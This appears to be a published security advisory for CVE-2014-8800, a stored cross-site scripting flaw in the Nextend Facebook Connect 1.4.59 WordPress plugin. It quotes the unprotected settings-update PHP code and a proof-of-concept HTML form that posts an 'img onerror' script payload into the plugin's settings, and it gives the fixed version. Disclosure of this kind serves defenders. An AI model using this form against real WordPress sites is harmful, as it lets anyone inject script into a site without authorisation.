Nextend Facebook Connect 1.4.59 XSS

2014.12.07

Credit: Kacper Szurek

Risk: Low

Local: No

Remote: Yes

CVE: CVE-2014-8800

CWE: CWE-79

CVSS Base Score: 4.3/10

Impact Subscore: 2.9/10

Exploitability Subscore: 8.6/10

Exploit range: Remote

Attack complexity: Medium

Authentication: No required

Confidentiality impact: None

Integrity impact: Partial

Availability impact: None

# Exploit Title: Nextend Facebook Connect 1.4.59 XSS
# Date: 16-10-2014
# Exploit Author: Kacper Szurek - http://security.szurek.pl/ http://twitter.com/KacperSzurek
# Software Link: https://downloads.wordpress.org/plugin/nextend-facebook-connect.1.4.59.zip
# Category: webapps
# CVE: CVE-2014-8800
  
1. Description
  
Anyone can change plugin settings.

File: nextend-facebook-connect\nextend-facebook-settings.php
if(isset($_POST['newfb_update_options'])) {
	if($_POST['newfb_update_options'] == 'Y') {
		foreach($_POST AS $k => $v){
			$_POST[$k] = stripslashes($v);
		}
		update_option("nextend_fb_connect", maybe_serialize($_POST));
		$newfb_status = 'update_success';
	}
}

http://security.szurek.pl/nextend-facebook-connect-1459-xss.html
  
2. Proof of Concept
  
<form method="post" action="http://wordpress-instalation">
    <input type="hidden" name="newfb_update_options" value="Y">
    XSS: <textarea name="fb_login_button" rows="10" cols="40"><img src=x onerror=alert(String.fromCharCode(88,83,83))>&lt;/textarea&gt;
    <input type="submit" value="Hack!">
</form>
  
3. Solution:
  
Update to version 1.5.1
https://downloads.wordpress.org/plugin/nextend-facebook-connect.1.5.1.zip
https://wordpress.org/plugins/nextend-facebook-connect/changelog/

References:

http://osvdb.org/show/osvdb/115231

http://security.szurek.pl/nextend-facebook-connect-1459-xss.html

https://wordpress.org/plugins/nextend-facebook-connect/changelog/

See this note in RAW Version

Vote for this issue:

50%

Thanks for you vote!

Thanks for you comment!
Your message is in quarantine 48 hours.

Comment it here.

Nick (*)

Email (*)

Video

Text (*)

(*) - required fields.

{{ x.nick }} | Date: {{ x.ux * 1000 | date:'yyyy-MM-dd' }} {{ x.ux * 1000 | date:'HH:mm' }} CET+1

{{ x.comment }}

Nextend Facebook Connect 1.4.59 XSS

References:

Thanks for you vote!

Thanks for you comment!Your message is in quarantine 48 hours.

Thanks for you comment!
Your message is in quarantine 48 hours.